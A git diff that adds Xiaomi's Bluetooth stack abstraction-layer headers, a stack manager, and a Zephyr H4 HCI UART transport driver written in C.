0000000000000000000000000000000000000000..e1249ad6caaead9684c158e01f503c8b789c988c --- /dev/null +++ b/service/stacks/include/sal_hfp_hf_interface.h @@ -0,0 +1,47 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_HFP_HF_INTERFACE_H__ +#define __SAL_HFP_HF_INTERFACE_H__ + +#include <stdint.h> + +#include "bt_addr.h" +#include "bt_status.h" +#include "hfp_hf_service.h" + +bt_status_t bt_sal_hfp_hf_init(uint32_t hf_features, uint8_t max_connection); +void bt_sal_hfp_hf_cleanup(void); +bt_status_t bt_sal_hfp_hf_connect(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_disconnect(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_connect_audio(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_disconnect_audio(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_answer_call(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_reject_call(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_hold_call(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_hangup_call(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_dial_number(bt_address_t* addr, const char* number); +bt_status_t bt_sal_hfp_hf_dial_memory(bt_address_t* addr, uint32_t memory); +bt_status_t bt_sal_hfp_hf_call_control(bt_address_t* addr, hfp_call_control_t chld, uint32_t index); +bt_status_t bt_sal_hfp_hf_get_current_calls(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_set_volume(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); +bt_status_t bt_sal_hfp_hf_start_voice_recognition(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_stop_voice_recognition(bt_address_t* addr); +bt_status_t bt_sal_hfp_hf_send_battery_level(bt_address_t* addr, uint8_t value); +bt_status_t bt_sal_hfp_hf_send_at_cmd(bt_address_t* addr, const char* cmd, uint16_t len); +bt_status_t bt_sal_hfp_hf_send_dtmf(bt_address_t* addr, char dtmf); +bt_status_t bt_sal_hfp_hf_get_subscriber_number(bt_address_t* addr); + +#endif /* __SAL_HFP_HF_INTERFACE_H__ */ \ No newline at end of file diff --git a/service/stacks/include/sal_hid_device_interface.h b/service/stacks/include/sal_hid_device_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..5acd5e744b6bcccce4b414cac179c705a32501f9 --- /dev/null +++ b/service/stacks/include/sal_hid_device_interface.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_HID_DEVICE_INTERFACE_H__ +#define __SAL_HID_DEVICE_INTERFACE_H__ + +#include <stdint.h> + +#include "bt_addr.h" +#include "bt_status.h" +#include "hid_device_service.h" + +bt_status_t bt_sal_hid_device_init(void); +void bt_sal_hid_device_cleanup(void); +bt_status_t bt_sal_hid_device_register_app(hid_device_sdp_settings_t* sdp, bool le_hid); +bt_status_t bt_sal_hid_device_unregister_app(void); +bt_status_t bt_sal_hid_device_connect(bt_address_t* addr); +bt_status_t bt_sal_hid_device_disconnect(bt_address_t* addr); +bt_status_t bt_sal_hid_device_get_report_response(bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size); +bt_status_t bt_sal_hid_device_report_error(bt_address_t* addr, hid_status_error_t error); +bt_status_t bt_sal_hid_device_send_report(bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size); +bt_status_t bt_sal_hid_device_virtual_unplug(bt_address_t* addr); + +#endif /* __SAL_HID_DEVICE_INTERFACE_H__ */ \ No newline at end of file diff --git a/service/stacks/include/sal_interface.h b/service/stacks/include/sal_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..e606c31b759748c8d2619f66d843b9f621188532 --- /dev/null +++ b/service/stacks/include/sal_interface.h @@ -0,0 +1,94 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_ADAPTER_H_ +#define __SAL_ADAPTER_H_ + +#include "bluetooth_define.h" + +#include "sal_adapter_classic_interface.h" +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT +#include "sal_adapter_le_interface.h" +#ifdef CONFIG_BLUETOOTH_BLE_ADV +#include "sal_le_advertise_interface.h" +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SCAN +#include "sal_le_scan_interface.h" +#endif +#endif +#include "sal_debug_interface.h" + +#if defined(CONFIG_BLUETOOTH_STACK_BREDR_BLUELET) || defined(CONFIG_BLUETOOTH_STACK_LE_BLUELET) +#include "sal_adapter_interface.h" +#endif + +typedef struct bt_stack_info { + char name[32]; + uint8_t stack_ver_major; + uint8_t stack_ver_minor; + uint8_t sal_ver; + /* data */ +} bt_stack_info_t; + +#define SAL_ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) + +#define SAL_CHECK(cond, expect) \ + { \ + int __ret = cond; \ + if (__ret != expect) { \ + BT_LOGE("[%s] return:%d", __func__, __ret); \ + } \ + } + +#define SAL_NOT_SUPPORT \ + { \ + BT_LOGW("interface [%s] not supported", __func__); \ + return BT_STATUS_NOT_SUPPORTED; \ + } + +#define SAL_CHECK_PARAM(cond) \ + { \ + if (!(cond)) \ + return BT_STATUS_PARM_INVALID; \ + } + +#define SAL_CHECK_RET(cond, expect) \ + { \ + int __ret = cond; \ + if (__ret != expect) { \ + BT_LOGE("[%s] return:%d", __func__, __ret); \ + return BT_STATUS_FAIL; \ + } \ + } + +#define SAL_CHECK_RET_WITH_CONN(cond, expect, conn) \ + { \ + int __ret = cond; \ + if (__ret != expect) { \ + BT_LOGE("[%s] return:%d", __func__, __ret); \ + if (conn) \ + bt_conn_unref(conn); \ + return BT_STATUS_FAIL; \ + } \ + } + +#define SAL_ASSERT(cond) \ + { \ + assert(cond); \ + } + +void bt_sal_get_stack_info(bt_stack_info_t* info); + +#endif /* __SAL_ADAPTER_V2_H_ */ diff --git a/service/stacks/include/sal_le_advertise_interface.h b/service/stacks/include/sal_le_advertise_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..c54176291b433a50385bb353284aa2c132a3373a --- /dev/null +++ b/service/stacks/include/sal_le_advertise_interface.h @@ -0,0 +1,28 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SAL_LE_ADVERTISE_INTERFACE_H__ +#define __SAL_LE_ADVERTISE_INTERFACE_H__ + +#include "bt_le_advertiser.h" + +#include <stdint.h> +#include <stdio.h> + +bt_status_t bt_sal_le_start_adv(bt_controller_id_t id, uint8_t adv_id, ble_adv_params_t* params, uint8_t* adv_data, uint16_t adv_len, uint8_t* scan_rsp_data, uint16_t scan_rsp_len); +bt_status_t bt_sal_le_stop_adv(bt_controller_id_t id, uint8_t adv_id); + +#endif \ No newline at end of file diff --git a/service/stacks/include/sal_le_scan_interface.h b/service/stacks/include/sal_le_scan_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..8362183e970f45fa50ee25ab1a953f7c04557574 --- /dev/null +++ b/service/stacks/include/sal_le_scan_interface.h @@ -0,0 +1,30 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SAL_LE_SCAN_INTERFACE_H__ +#define __SAL_LE_SCAN_INTERFACE_H__ + +#include "bt_le_scan.h" +#include "scan_manager.h" + +#include <stdint.h> +#include <stdio.h> + +bt_status_t bt_sal_le_set_scan_parameters(bt_controller_id_t id, ble_scan_params_t* params); +bt_status_t bt_sal_le_start_scan(bt_controller_id_t id); +bt_status_t bt_sal_le_stop_scan(bt_controller_id_t id); + +#endif \ No newline at end of file diff --git a/service/stacks/include/sal_spp_interface.h b/service/stacks/include/sal_spp_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..489b0d44ee5138fbf5ec90996bdfe71ef6233463 --- /dev/null +++ b/service/stacks/include/sal_spp_interface.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_SPP_INTERFACE_H__ +#define __SAL_SPP_INTERFACE_H__ + +#include <stdint.h> + +#include "bt_addr.h" +#include "bt_status.h" +#include "spp_service.h" + +bt_status_t bt_sal_spp_init(void); +void bt_sal_spp_cleanup(void); +bt_status_t bt_sal_spp_server_start(uint16_t svr_port, bt_uuid_t* uuid128, uint8_t max_conn_cnt); +bt_status_t bt_sal_spp_server_stop(uint16_t svr_port); +bt_status_t bt_sal_spp_connect(bt_address_t* addr, uint16_t conn_port, bt_uuid_t* uuid128); +bt_status_t bt_sal_spp_disconnect(uint16_t conn_port); +bt_status_t bt_sal_spp_write(uint16_t conn_port, uint8_t* buffer, uint16_t length); +bt_status_t bt_sal_spp_add_credits(uint16_t conn_port, uint8_t credits); +bt_status_t bt_sal_spp_data_received_response(uint16_t conn_port, uint8_t* buffer); +bt_status_t bt_sal_spp_connect_request_reply(bt_address_t* addr, uint16_t conn_port, bool accept); + +#endif /* __SAL_SPP_INTERFACE_H__ */ \ No newline at end of file diff --git a/service/stacks/stack_manager.c b/service/stacks/stack_manager.c new file mode 100644 index 0000000000000000000000000000000000000000..b5c5941da1b4910db96daf595e258c037b10d554 --- /dev/null +++ b/service/stacks/stack_manager.c @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "sal_interface.h" +#include "service_loop.h" + +#define LOG_TAG "stack_manager" +#include "utils/log.h" +#include "vhal/bt_vhal.h" + +bt_status_t stack_manager_init(void) +{ + bt_status_t ret; + const bt_vhal_interface* vhal; + bt_stack_info_t info; + + vhal = get_bt_vhal_interface(); + + bt_sal_get_stack_info(&info); + BT_LOGI("Stack Info: %s Ver:%d.%d Sal:%d", info.name, + info.stack_ver_major, info.stack_ver_minor, info.sal_ver); +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + ret = bt_sal_init(vhal); + if (ret != BT_STATUS_SUCCESS) + return ret; +#endif + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + ret = bt_sal_le_init(vhal); + if (ret != BT_STATUS_SUCCESS) + return ret; +#endif + BT_LOGD("%s done", __func__); + return ret; +} + +void stack_manager_cleanup(void) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + bt_sal_cleanup(); +#endif + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_sal_le_cleanup(); +#endif + BT_LOGD("%s done", __func__); +} \ No newline at end of file diff --git a/service/stacks/stack_manager.h b/service/stacks/stack_manager.h new file mode 100644 index 0000000000000000000000000000000000000000..42c6607c162837089a61c84ce3cdea4223bbf442 --- /dev/null +++ b/service/stacks/stack_manager.h @@ -0,0 +1,24 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_STACK_MANAGER_H_ +#define __BT_STACK_MANAGER_H_ + +#include "bt_status.h" + +bt_status_t stack_manager_init(void); +void stack_manager_cleanup(void); +#endif /* __BT_STACK_MANAGER_H_ */ \ No newline at end of file diff --git a/service/stacks/zephyr/hci_h4.c b/service/stacks/zephyr/hci_h4.c new file mode 100644 index 0000000000000000000000000000000000000000..580de33d9a70555704cc6c9d83ade59aa9fceee1 --- /dev/null +++ b/service/stacks/zephyr/hci_h4.c @@ -0,0 +1,441 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <fcntl.h> +#include <stdio.h> +#include <stdlib.h> +#include <sys/ioctl.h> +#include <sys/stat.h> +#include <unistd.h> + +#include <zephyr/device.h> +#include <zephyr/init.h> +#include <zephyr/kernel.h> +#include <zephyr/sys/util.h> + +#include "service_loop.h" + +#include <debug.h> +#include <errno.h> +#include <fcntl.h> +#include <limits.h> +#include <poll.h> +#include <pthread.h> +#include <stddef.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> +#include <zephyr/sys/byteorder.h> + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/hci.h> +#include <zephyr/drivers/bluetooth.h> + +#define DT_DRV_COMPAT zephyr_bt_hci_ttyHCI + +#include "hci_h4.h" +#include "vhal/bt_vhal.h" + +#define LOG_TAG "h4" +#include "utils/log.h" + +/* Datatype in HCI_TL_RecvData */ +enum { + HCI_DATATYPE_COMMAND = 1, + HCI_DATATYPE_ACL = 2, + HCI_DATATYPE_SCO = 3, + HCI_DATATYPE_EVENT = 4, + HCI_DATATYPE_ISO_DATA = 5 +}; + +struct h4_data { + int fd; + pthread_mutex_t mutex; + bt_hci_recv_t recv; + void* hci_data; +}; + +static const struct device* bt_dev; +static service_poll_t* hci_handle; + +static void hci_remove_recv(void* data); + +static void h4_data_dump(const char* tag, uint8_t type, uint8_t* data, uint32_t len) +{ +#ifdef CONFIG_BT_HCI_H4_DEBUG + struct iovec bufs[2]; + + bufs[0].iov_base = &type; + bufs[0].iov_len = 1; + bufs[1].iov_base = data; + bufs[1].iov_len = len; + + lib_dumpvbuffer(tag, bufs, 2); +#endif +} + +static int h4_send_data(int fd, uint8_t* buf, int count) +{ + int ret, nwritten = 0; + + while (nwritten != count) { + ret = write(fd, buf + nwritten, count - nwritten); + if (ret < 0) { + if (errno == EAGAIN) { + usleep(1000); + continue; + } else + return ret; + } + + nwritten += ret; + } + + return nwritten; +} + +static struct net_buf* get_rx(const uint8_t* buf) +{ + bool discardable = false; + k_timeout_t timeout = K_FOREVER; + + switch (buf[0]) { + case BT_HCI_H4_EVT: + if (buf[1] == BT_HCI_EVT_LE_META_EVENT && (buf[3] == BT_HCI_EVT_LE_ADVERTISING_REPORT)) { + discardable = true; + timeout = K_NO_WAIT; + } + + return bt_buf_get_evt(buf[1], discardable, timeout); + case BT_HCI_H4_ACL: + return bt_buf_get_rx(BT_BUF_ACL_IN, K_FOREVER); + case BT_HCI_H4_ISO: + if (IS_ENABLED(CONFIG_BT_ISO)) { + return bt_buf_get_rx(BT_BUF_ISO_IN, K_FOREVER); + } + break; + default: + BT_LOGE("RX unknown packet type: %u", buf[0]); + break; + } + + return NULL; +} + +static int32_t hci_packet_complete(const uint8_t* buf, uint16_t buf_len) +{ + uint16_t payload_len = 0; + const uint8_t type = buf[0]; + uint8_t header_len = sizeof(type); + const uint8_t* hdr = &buf[sizeof(type)]; + + switch (type) { + case BT_HCI_H4_CMD: { + const struct bt_hci_cmd_hdr* cmd = (const struct bt_hci_cmd_hdr*)hdr; + + if (buf_len < header_len + BT_HCI_CMD_HDR_SIZE) { + return 0; + } + + /* Parameter Total Length */ + payload_len = cmd->param_len; + header_len += BT_HCI_CMD_HDR_SIZE; + break; + } + case BT_HCI_H4_ACL: { + const struct bt_hci_acl_hdr* acl = (const struct bt_hci_acl_hdr*)hdr; + + if (buf_len < header_len + BT_HCI_ACL_HDR_SIZE) { + return 0; + } + + /* Data Total Length */ + payload_len = sys_le16_to_cpu(acl->len); + header_len += BT_HCI_ACL_HDR_SIZE; + break; + } + case BT_HCI_H4_SCO: { + const struct bt_hci_sco_hdr* sco = (const struct bt_hci_sco_hdr*)hdr; + + if (buf_len < header_len + BT_HCI_SCO_HDR_SIZE) { + return 0; + } + + /* Data_Total_Length */ + payload_len = sco->len; + header_len += BT_HCI_SCO_HDR_SIZE; + break; + } + case BT_HCI_H4_EVT: { + const struct bt_hci_evt_hdr* evt = (const struct bt_hci_evt_hdr*)hdr; + + if (buf_len < header_len + BT_HCI_EVT_HDR_SIZE) { + return 0; + } + + /* Parameter Total Length */ + payload_len = evt->len; + header_len += BT_HCI_EVT_HDR_SIZE; + break; + } + case BT_HCI_H4_ISO: { + const struct bt_hci_iso_hdr* iso = (const struct bt_hci_iso_hdr*)hdr; + + if (buf_len < header_len + BT_HCI_ISO_HDR_SIZE) { + return 0; + } + + /* ISO_Data_Load_Length parameter */ + payload_len = bt_iso_hdr_len(sys_le16_to_cpu(iso->len)); + header_len += BT_HCI_ISO_HDR_SIZE; + break; + } + /* If no valid packet type found */ + default: + BT_LOGE("H4: Unknown packet type 0x%02x", type); + return -1; + } + + /* Request more data */ + if (buf_len < header_len + payload_len) { + return 0; + } + + return (int32_t)header_len + payload_len; +} + +static void bt_sal_hci_transport_recv(void) +{ + struct h4_data* h4 = bt_dev->data; + static uint8_t frame[1026]; + struct net_buf* buf; + size_t buf_tailroom; + size_t buf_add_len; + ssize_t len; + const uint8_t* frame_start = frame; + static ssize_t frame_size = 0; + + len = read(h4->fd, frame + frame_size, sizeof(frame) - frame_size); + if (len < 0) { + BT_LOGE("Reading hci failed, errno %d", errno); + hci_remove_recv(NULL); + close(h4->fd); + h4->fd = -1; + return; + } + + frame_size += len; + + while (frame_size > 0) { + const uint8_t* buf_add; + const uint8_t packet_type = frame_start[0]; + const int32_t decoded_len = hci_packet_complete(frame_start, frame_size); + + if (decoded_len == -1) { + BT_LOGE("HCI Packet type is invalid, length could not be decoded"); + frame_size = 0; /* Drop buffer */ + break; + } + + if (decoded_len == 0) { + if (frame_size == sizeof(frame)) { + BT_LOGE("HCI Packet is too big for frame"); + frame_size = 0; /* Drop buffer */ + break; + } + if (frame_start != frame) { + memmove(frame, frame_start, frame_size); + } + /* Read more */ + break; + } + + buf_add = frame_start + sizeof(packet_type); + buf_add_len = decoded_len - sizeof(packet_type); + + buf = get_rx(frame_start); + + frame_size -= decoded_len; + frame_start += decoded_len; + + if (!buf) { + BT_LOGD("Discard adv report due to insufficient buf"); + continue; + } + + buf_tailroom = net_buf_tailroom(buf); + if (buf_tailroom < buf_add_len) { + BT_LOGE("Not enough space in buffer %zu/%zu", buf_add_len, + buf_tailroom); + net_buf_unref(buf); + continue; + } + + net_buf_add_mem(buf, buf_add, buf_add_len); + + h4_data_dump("BT RX", packet_type, buf->data, buf_add_len); + h4->recv(bt_dev, buf, h4->hci_data); + } +} + +int bt_sal_hci_transport_init(const bt_vhal_interface* vhal) +{ + return 0; +} + +void bt_sal_hci_transport_cleanup(void) +{ + return; +} + +static void hci_remove_recv(void* data) +{ + (void)data; + + BT_LOGD("%s", __func__); + service_loop_remove_poll(hci_handle); + hci_handle = NULL; +} + +static void hci_poll_recv(service_poll_t* poll, int revent, void* userdata) +{ + (void)poll; + (void)userdata; + + if (revent & (POLL_ERROR | POLL_DISCONNECT)) + hci_remove_recv(NULL); + + if (revent & POLL_READABLE) + bt_sal_hci_transport_recv(); +} + +static int h4_open(const struct device* dev, bt_hci_recv_t recv, void* hci_data) +{ + int ret; + int fd; + struct h4_data* h4; + char dev_name[32]; + + if (dev->name == NULL) { + BT_LOGE("No device name"); + return -EINVAL; + } + + ret = snprintf(dev_name, sizeof(dev_name), "%s", dev->name); + if (ret < 0 || ret >= sizeof(dev_name)) { + BT_LOGE("dev_name:%s snprintf failed, ret %d, ", dev->name, ret); + return -EINVAL; + } + + fd = open(dev_name, O_RDWR | O_BINARY | O_CLOEXEC); + if (fd < 0) { + BT_LOGE("H4: Failed to open %s: %d", CONFIG_BT_UART_ON_DEV_NAME, errno); + return fd; + } + + h4 = dev->data; + h4->fd = fd; + h4->recv = recv; + h4->hci_data = hci_data; + + bt_dev = dev; + BT_LOGE("H4: %s opened as fd:%d", CONFIG_BT_UART_ON_DEV_NAME, h4->fd); + + hci_handle = service_loop_poll_fd(h4->fd, POLL_READABLE, hci_poll_recv, NULL); + if (!hci_handle) { + BT_LOGD("hci fd:%d add poll failed", h4->fd); + return -1; + } + + return 0; +} + +static int h4_close(const struct device* dev) +{ + struct h4_data* h4 = dev->data; + + do_in_service_loop_sync(hci_remove_recv, NULL); + + close(h4->fd); + h4->fd = -1; + + return 0; +} + +static int h4_send(const struct device* dev, struct net_buf* buf) +{ + int len; + int ret; + struct h4_data* h4 = bt_dev->data; + + switch (bt_buf_get_type(buf)) { + case BT_BUF_ACL_OUT: + net_buf_push_u8(buf, BT_HCI_H4_ACL); + break; + case BT_BUF_CMD: + net_buf_push_u8(buf, BT_HCI_H4_CMD); + break; + case BT_BUF_ISO_OUT: + if (IS_ENABLED(CONFIG_BT_ISO)) { + net_buf_push_u8(buf, BT_HCI_H4_ISO); + break; + } + default: + BT_LOGE("Unknown buffer type"); + return -EINVAL; + } + + h4_data_dump("BT TX", buf->data[0], buf->data, buf->len); + + len = buf->len; + ret = h4_send_data(h4->fd, buf->data, buf->len); + if (ret != len) { + BT_LOGE("H4: Failed to send %u bytes: %d", len, ret); + ret = -EINVAL; + } + + net_buf_unref(buf); + + return ret < 0 ? ret : 0; +} + +const struct bt_hci_driver_api h4_drv_api = { + .open = h4_open, + .close = h4_close, + .send = h4_send, +}; + +static int h4_init(const struct device* dev) +{ + BT_LOGD("Bluetooth H4 driver"); + return 0; +} + +#define DT_HCI_INST(node, inst) DT_CAT(node, inst) + +#define H4_DEVICE_INIT(inst) \ + static struct h4_data h4_data_##inst = { \ + .fd = -1, \ + .mutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP, \ + }; \ + DEVICE_DT_DEFINE(DT_HCI_INST(DT_DRV_INST(inst), inst), h4_init, NULL, &h4_data_##inst, NULL, POST_KERNEL, \ + CONFIG_KERNEL_INIT_PRIORITY_DEVICE, &h4_drv_api) + +H4_DEVICE_INIT(0); +#ifdef CONFIG_BT_MC_DEVICE_INST +H4_DEVICE_INIT(1); +#endif diff --git a/service/stacks/zephyr/include/hci_h4.h b/service/stacks/zephyr/include/hci_h4.h new file mode 100644 index 0000000000000000000000000000000000000000..7e04dd6f4570d97b8911a7e10c827b38dae057f9 --- /dev/null +++ b/service/stacks/zephyr/include/hci_h4.h @@ -0,0 +1,26 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_HCI_H4_H_ +#define __BT_HCI_H4_H_ + +#include <stdint.h> + +#include "vhal/bt_vhal.h" + +int bt_sal_hci_transport_init(const bt_vhal_interface* vhal); +void bt_sal_hci_transport_cleanup(void); + +#endif /* __BT_HCI_H4_H_ */ \ No newline at end of file diff --git a/service/stacks/zephyr/include/sal_connection_manager.h b/service/stacks/zephyr/include/sal_connection_manager.h new file mode 100644 index 0000000000000000000000000000000000000000..8ab30f53a539e194793b2543d4227a5ce40c19eb --- /dev/null +++ b/service/stacks/zephyr/include/sal_connection_manager.h @@ -0,0 +1,64 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_profile.h" + +#define CONN_ID_DEFAULT 0x0001 + +typedef struct { + bt_address_t addr; + uint8_t profile_id; + uint16_t conn_id; +} cm_data_t; + +typedef bt_status_t (*bt_profile_conn_handler_t)( + bt_controller_id_t id, bt_address_t* addr, void* user_data); + +typedef struct { + bt_profile_conn_handler_t handler; + uint8_t profile_id; + uint16_t conn_id; + bool is_busy; + bt_controller_id_t id; + void* user_data; +} bt_profile_conn_handler_node_t; + +bt_status_t bt_sal_profile_connect_request(bt_address_t* addr, + uint8_t profile_id, uint16_t conn_id, bt_controller_id_t id, + bt_profile_conn_handler_t handler, void* user_data); +bt_status_t bt_sal_profile_disconnect_register(bt_address_t* addr, + uint8_t profile_id, uint16_t conn_id, bt_controller_id_t id, + bt_profile_conn_handler_t handler, void* user_data); +bt_status_t bt_sal_profile_disconnect_request(bt_address_t* addr, + uint8_t profile_id, uint16_t conn_id, bt_controller_id_t id, + bt_profile_conn_handler_t handler, void* user_data); +bt_status_t bt_sal_remove_bond_internal(bt_controller_id_t id, + bt_address_t* addr); +bt_status_t bt_sal_disconnect_internal(bt_controller_id_t id, + bt_address_t* addr, uint8_t reason); + +cm_data_t* cm_data_new(bt_address_t* addr, uint8_t profile_id, uint16_t conn_id); +void bt_sal_cm_profile_connected_callback(bt_address_t* addr, uint8_t profile_id, + uint16_t conn_id); +void bt_sal_cm_profile_disconnected_callback(bt_address_t* addr, uint8_t profile_id, + uint16_t conn_id); +void bt_sal_cm_acl_connected_callback(cm_data_t* data); +void bt_sal_cm_acl_disconnected_callback(cm_data_t* data); + +void bt_sal_cm_conn_init(void); +bt_status_t bt_sal_cm_try_disconnect_profiles(bt_address_t* addr, bool is_unpair); +void bt_sal_cm_conn_cleanup(void); \ No newline at end of file diff --git a/service/stacks/zephyr/include/sal_zblue.h b/service/stacks/zephyr/include/sal_zblue.h new file mode 100644 index 0000000000000000000000000000000000000000..c0d8ba299f4c3b4fe2cca36c915300a9f4535aef --- /dev/null +++ b/service/stacks/zephyr/include/sal_zblue.h @@ -0,0 +1,30 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_ZBLUE_H_ +#define __SAL_ZBLUE_H_ + +#include "bt_addr.h" +#include "bt_status.h" + +#include <zephyr/bluetooth/addr.h> +#include <zephyr/bluetooth/conn.h> + +#define AVDTP_RTP_HEADER_LEN 12 +#define STREAM_DATA_RESERVED AVDTP_RTP_HEADER_LEN + +bt_status_t bt_sal_get_remote_address(struct bt_conn* conn, bt_address_t* addr); + +#endif 